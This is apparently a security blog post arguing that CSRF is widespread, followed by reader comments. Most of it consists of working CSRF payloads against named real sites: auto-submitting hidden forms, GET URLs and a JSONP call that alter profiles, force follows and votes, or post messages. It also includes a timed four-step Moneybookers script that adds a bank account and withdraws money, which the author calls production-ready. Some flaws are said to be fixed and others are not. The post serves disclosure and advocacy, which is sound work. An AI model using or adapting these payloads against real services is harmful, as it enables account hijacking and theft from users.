Remark: Post is published on April 2(but was expected yesterday) coz Berlin haz no free wifi cause I'm not joking and I figured out that Sunday is the worst day for urgent updates. Well, who cares the date, enjoy:
TL;DR:
I'm trying hard to prove my point that statement "CSRF is only the developers' problem" is not true. I provided some examples and I want you to check them out. I really appreciate any viewpoint at this problem. Thank you for your attention in advance!
Quick overview:
badoo.com
showcase:
document.write('<form action="http://badoo.com/ws/anketa-ws.phtml?ws=1" method=post> <input name="name" value="SUUUUP"><input name="fname" value="SUUUUP"><input name="sname" value="SUUUUP"><input name="birth_day" value="28"><input name="birth_month" value="01"><input name="section" value="basic"><input name="birth_year" value="1991"> </form>')
description:
e.g. changing your profile details. No protection at all.
github.com
showcase:
<iframe name=ifr></iframe>
<script>
document.write('<form target=ifr name=pwn method=post action="https://github.com/users/follow?target=homakov"></form>')
pwn.submit()
</script>
description:
makes you follow certain account without your confirmation. reported few weeks ago and fixed.
slideshare.net
showcase:
document.write('<form name=h action="http://lockerz.com/profile/follow/19880685" method=post></form>'); h.submit()
description:
following w/o confirmation
yfrog.com
showcase:
document.write('<form action="http://yfrog.com/message/post.json" name=h method=post><input name="services[]" value="twitter"><input name="message" value="@yfrog ur pwned"></form>'); document.h.submit();
description:
following w/o confirmation
posting w/o confirmation
well, just anything. reported / fixed.
kinopoisk.ru
showcase: http://www.kinopoisk.ru/vote.php?film=FILM_ID&film_vote=VOTE_FROM_1_TO_10
description: GET request in an image, for example, will set highest rating for some trash-movie on behalf of your account.
I lol'd when found this vulnerability. Movies' ratings is the core feature of kinopoisk(It is like Russian IMDB), site has enormous number of visitors and now we realize that all ratings there worth nothing :(
formspring.com
showcase: document.write('<form action="http://www.formspring.me/follow/add/WHO_TO_FOLLOW" method=post><input name=public value=1><input name=ajax value=1></form>')
description: Quite standard hole - easy way to gain thousands of followers :D
odesk.com
showcase:
mycb=function(){console.log(arguments);}
document.write('<script src="https://www.odesk.com/api/hr/v1/flagging.json?flagged_item=user&flagged_item_id=1&func=getFlagList&group_id=1&callback=mycb"></script>');
description:
this vulnerability deserves separated post. In general: JSONP should be used very carefully. And, yeah, CSRF vulnerable. It's getting boring.
dailymotion.com
showcase: http://www.dailymotion.com/pageitem/user/subscribe?request=USERNAME&method=toggleSubscribe
description: subscribing via GET..
vimeo.com
showcase: https://player.vimeo.com/like/ID?callback=cb&status=1
https://player.vimeo.com/watch_later/ID?callback=cb&status=1
description: adding to watchlist, liking and other stuff..
about.me
showcase: document.write('<form method=post name=h action="http://about.me/ajax"><input name="profile_text_content" value="YOBA ETO TY"><input name=call value=save></form>')
description: Typical, CSRF vulnerable service. Should I continue? You can change any field in user's profile :(
bitbucket.org
showcase: GET to https://bitbucket.org/USERNAME/follow
description: Following.
posterous.com
showcase: document.write('<form action="http://posterous.com/api/2/sites/1314005/subscribe" method=post><input name=_method value=put></form>')
http://homakov.posterous.com/likes/create?like_type=post&post_id=10132110
description:
liking, subscribing.
hulu.com
showcase: document.write('<form action="http://www.hulu.com/videos/vote/344578" method=post><input name=up value=5><input name=_ value=""></form>')
http://www.hulu.com/shows/subscribe/344578?type=episodes,clips&first_run_only=0
description:
voting w/o confirmation(like kinopoisk example), subscribing to new episodes..
moneybookers.com
showcase(production-ready code to steal money):
document.write('<iframe width="100%" height="100%" name="h" src="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks"></iframe>')
document.write('<form name=step1 target=h action="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks" method=post><input name=action value=search><input name=country value=RUS><input name=swift value=PRTBRUMM><input type=submit></form>')
document.write('<form name=step2 target=h action="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks" method=post><input name=action value=add><input name=country value=RUS><input name=bank_id value=0><input name=account_no value=123234123234><input type=submit></form>')
get_bank_id=function(){
//it's mock, dummy procedure. Getting latest primary key of just created bank account isn't difficult. But involves some server side interaction. I won't give out this code, sorry.
return 123234345; //primary key of fresh created bank account in victim's profile
}
how_much = function(time){
//we will repeat withdraw request with lower amount every time - so we could withdraw as much as possible
return [5000, 3000, 1000, 500, 150, 100][time]
}
document.write('<form name=step3 target=h action="https://www.moneybookers.com/app/download.pl" method=post><input name=posted value=confirm><input name=destination value=BWI><input name=bankwire_account value='+get_bank_id()+'><input name=txtAmount value='+how_much(0)+'><input type=submit></form>')
//this form contains my birthday. it's not difficult to find out anybody's birthday either.
document.write('<form name=step4 target=h action="https://www.moneybookers.com/app/download.pl" method=post><input name=posted value=execute><input name=dob_day value=28><input name=dob_month value=04><input name=dob_year value=1993><input type=submit></form>')
setTimeout(function(){
step1.submit()
},1000);
setTimeout(function(){
step2.submit()
},2000);
setTimeout(function(){
step3.submit();
},3000)
setTimeout(function(){
step4.submit();
},4000)
description:
It's the best showcase IMO. This one is "Production ready" and I have tried it to withdraw money on myself from my own account and it worked. Reported and fixed. This example illustrates the whole point of the post. It's quite boring to explain the same looking vulnerabilites - remember, if you can do force people to follow without confirmation you(most likely) can do the same with his money. Think about it.
Face it.
Well, these showcases are the tiny part of vulnerable POPULAR(I don't even mention middle and small websites. they're just doomed...) sites at the moment.
I'm quite exhausted to explore it - approx. 50-70% of what I try have holes/bugs and I'm talking about Alexa Top sites(lol!). And it would be unbelievebly huge post if I include them all. bit more:
pinterest.com, GET let's u wipe bio and website info
dnsimple.com, you can add services to user's domain via GET
disqus.com(let's me comment any post on behalf of your account; quite interesting hack here, subtle trick-hole with Webkit engine, stay tuned!),
translate.ru(easy to steal cookies and account; it's bad idea to load 3rd parties JS in iframe with your document.domain. probably will publish more information on iframe's domain sameOriginPolicy later, must-read topic),
heroku.com(well, administration can be done via GET - smth like this: <img src=xxx/update?site_name[name]=yyy> will rename your xxx.herokuapp.com to yyy.herokuapp.com)
booking.com(vulnerable. I had an idea to add Saransk city to your "Favorite places" but changed my mind. It would be funny though.)
etc I forgot few.
Also, most of showcases here are not critical for only one reason - jail is not cozy for living, in my opinion. In fact, and that's obvious, if you find certain type of vulnerability you can use it both ways e.g. set up 3012 as date of post OR add your public key to victim's repo, you know what I'm talking about. Check your codebase.
Guys from HN disappoint me with their conservatism. It's quite easy to repeat "It works fine, Google and Mozilla have best programmers, well known attack, popular sites are protected(ORLY?!), go home kid".
That was an expected behavior, so I hope, this post makes them to face facts. 2+2=4 and CSRF = the huge, wide-spreaded problem that should be solved now or never.
Well, no matter who's vulnerability it is. I don't care anymore: Browsers, apps, programmers, standards. There is 1 fact - lots of sites in the Internet are vulnerable(in 2012, after 11 years). That's all I want to explain and discuss with you.
I made the point - you fix in up-to-you way. Fix. But, frankly, making small warning-bar in browsers seems more sane than teaching every single programmer from newbie to senior CSRF protection and polluting every HTTP POST request with token.
Every site I walk into has multiple critical vulnerabilities. Most of them introduced by "programmers" with Masters Degrees in CS. Funny.
ReplyDeleteHey Egor,
ReplyDeleteWhat's with your point with that Bitbucket URL?
That's just how you (un)follow someone. If you don't like to follow people, then don't use it, but don't label it as a security bug, ok?
@Erik, I think you didn't get the point of the post.
ReplyDeletewell, i dont know if you're joking but we're talking about a CSRF vulnerability here, which means you can make people "follow or unfollow you, or anybody for that matter without their approval ex : img tag with follow url as src.
ReplyDeleteso obviously thats not how its supposed to work.
@Anonymous: you didn't get the point, did you? He can get followers on bitbucket just by including an iframe on his site. So, suddenly, you're following him on bitbucket even though you didn't want to.
ReplyDelete@homokov, you're doing great work. I hope you continue to put on the pressure to get developers to raise their standards.
ReplyDelete^ What he said.
ReplyDeleteThank you for loudly demonstrating how broken things are. They'll never get fixed if nobody draws attention to them...
ReplyDelete@Anonymous I did indeed initially miss the context from that ultra short paragraph.
ReplyDeleteI've deployed a hotfix.
Hey Egor, would you take a look at a few sites using the Lift web framework (http://liftweb.net)? It should be more secure by default than Rails and PHP, but I'm curious if you can penetrate it. Some of the poster child Lift sites:
ReplyDeletehttps://foursquare.com/
http://stackmob.com/
http://www.grabgrip.com/
http://openstudy.com/
A primer on Lift security:
http://seventhings.liftweb.net/security
@anon
ReplyDeleteI would check the sites with a pleasure! But I'm kinda busy and work for money - This post is suffice for making point, I guess.
So I'm completely not interested in CSRF and Mass assignment vulnerabilities anymore. Points were made, what to do is up to you
yes, and while we was reading this he just tried bunch of that stuff on our browser :) i hope i will not find u as a "followed person" in any sites im using.
ReplyDeletegood luck standing your point
Anthony from DNSimple here. Thanks, Egor for pointing out the vulnerability you found in DNSimple. I've pushed a fix for it this morning. If you (or someone else reading this blog) finds other vulnerabilities please let me know via security@dnsimple.com.
ReplyDeleteHi, Egor!
ReplyDeleteGood job done! Hope you suceed in changing 'their' mind. I have my own theory why it is possible and it goes far away from technology area into business and education field. I name it 'featurism': evryone needs more features in software. Customers pay only for new features. Definition of done consist of implemented business logic only. Developers don't have time to bother with security issues as they are not paid for. To earn money for living, most developers should be good at producing features quickly: today 'time to market' speed seems to be the only measure of success. I can continue, but have to go now.
If you are in Europe, I would like to invite you to Estonia to make a hands-on workshop for my students.
@Anthony Eden
ReplyDeleteWow, cool! I enjoy dnsimple and that's pretty minor bug. I don't even think that you're in charge (do u use rails though?) Cheers
@Zahhar Kirillov
Hi friend! Thank you and I share your opinion that developers dislike security because they are not paid for that. And I hope to see you soon :) Relocation is soon
Really interesting ! Thanks for examples :)
ReplyDelete